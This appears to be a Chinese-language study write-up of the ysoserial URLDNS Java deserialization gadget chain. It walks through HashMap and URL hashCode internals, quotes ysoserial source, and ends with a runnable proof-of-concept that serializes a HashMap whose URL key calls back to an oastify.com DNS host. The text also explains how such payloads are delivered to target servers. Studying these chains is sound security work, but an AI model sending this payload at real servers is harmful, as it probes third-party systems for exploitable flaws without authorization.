URLDNS 链子分析
* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
|
原理:
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
在利用yso生成链子的时候先从GeneratPayload.class触发
package ysoserial;
import java.io.PrintStream; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils;
public class GeneratePayload { private static final int INTERNAL_ERROR_CODE = 70; private static final int USAGE_CODE = 64;
public GeneratePayload() { }
public static void main(String[] args) { if (args.length != 2) { printUsage(); System.exit(64); }
String payloadType = args[0]; String command = args[1]; Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(64); } else { try { ObjectPayload payload = (ObjectPayload)payloadClass.newInstance(); Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); Utils.releasePayload(payload, object); } catch (Throwable var7) { Throwable e = var7; System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(70); }
System.exit(0); } }
|
然后add添加之后,调用新实例化对象的getObject方法,后面调试跳到了URLDNS.java,且实现了ObjectPayload接口,里面也确实有getObject方法:
重点代码
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL((URL)null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); return ht;
|
URLStreamHandler 是 Java 中的一个抽象类,用于处理 URL 的协议部分,例如 HTTP、HTTPS、FTP 等。
HashMap 是 Java 中的一种集合类,属于 java.util 包,用于存储键值对(key-value pairs)。
在这里,ht 是一个空的 HashMap,后续将被用来存储 URL 对象和对应的 URL 字符串。
Reflections 可能是一个工具类(例如来自某个库,如 org.reflections),用于简化 Java 反射操作。它的 setFieldValue 方法通过反射修改对象的字段值。
在 Java 的 URL 类中,hashCode 是一个私有字段,用于缓存该 URL 的哈希码。URL 类的 hashCode() 方法会计算并缓存这个值,以便在集合操作(如 HashMap 的键比较)中快速使用。
将 hashCode 设置为 -1 的目的可能是:
- 强制 URL 对象在下次调用 hashCode() 时重新计算哈希码(因为 -1 通常表示未初始化的状态)。
hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算;还有需要注意的这个接口中:
transient URLStreamHandler handler; private int hashCode = -1;
|
首先调用HashMap的put方法。
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
会通过hash函数调用key.hashCode()
计算key的hashCode;
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
key是传入的URL对象,最终调用URL对象的hashCode函数,
public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
handler
是URLStreamHandler
的对象;handler在构造函数时被赋值了
transient URLStreamHandler handler
|
接着调用了URLStreamHandler.hashCode
中的getHostAddress(u)
方法导致DNS解析
InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); }
|
POC
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class urldns { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://5msdqvjsda7s3f8m8h0vkcsmgdm4avyk.oastify.com"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,2);
hashmap.put(url, 1);
hashcodefield.set(url,-1); serialize(hashmap); unserialize();
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); } }
|
总结
形象的举个例子
埋雷:构造一个带“陷阱”的快递(序列化)
- 陷阱核心:把URL对象(比如
http://xxx.dnslog.cn
)塞进HashMap里当“钥匙”(Key),然后序列化这个HashMap。
防止提前触发:URL对象默认会立即查DNS,但黑客用反射修改hashCode
属性为123(临时值),避免序列化时触发DNS
寄快递:发送包裹到目标(传输数据)
- 数据伪装:序列化后的HashMap看起来是普通数据,被发送到目标服务器(比如通过接口、文件上传等途径)。
拆快递:目标拆包裹触发陷阱(反序列化)
自动拆包:服务器反序列化时,会调用HashMap的readObject
方法,这是Java默认的反序列化逻辑。
计算“钥匙”哈希值:
HashMap会重新计算每个Key的哈希值(hash(key)
)
- 此时Key是之前埋入的URL对象,于是调用URL的
hashCode()
方法。
查地址:触发DNS请求(核心利用)
URL的陷阱逻辑
URL的hashCode
发现自己的hashCode
是-1(反射改回的初始值),于是调用URLStreamHandler.hashCode()
这个方法内部会解析URL的主机名(如xxx.dnslog.cn
),调用InetAddress.getByName()
发起DNS查询
结果反馈:DNS查询记录会被攻击者的监控平台(如DNSLog)捕获,证明目标存在反序列化漏洞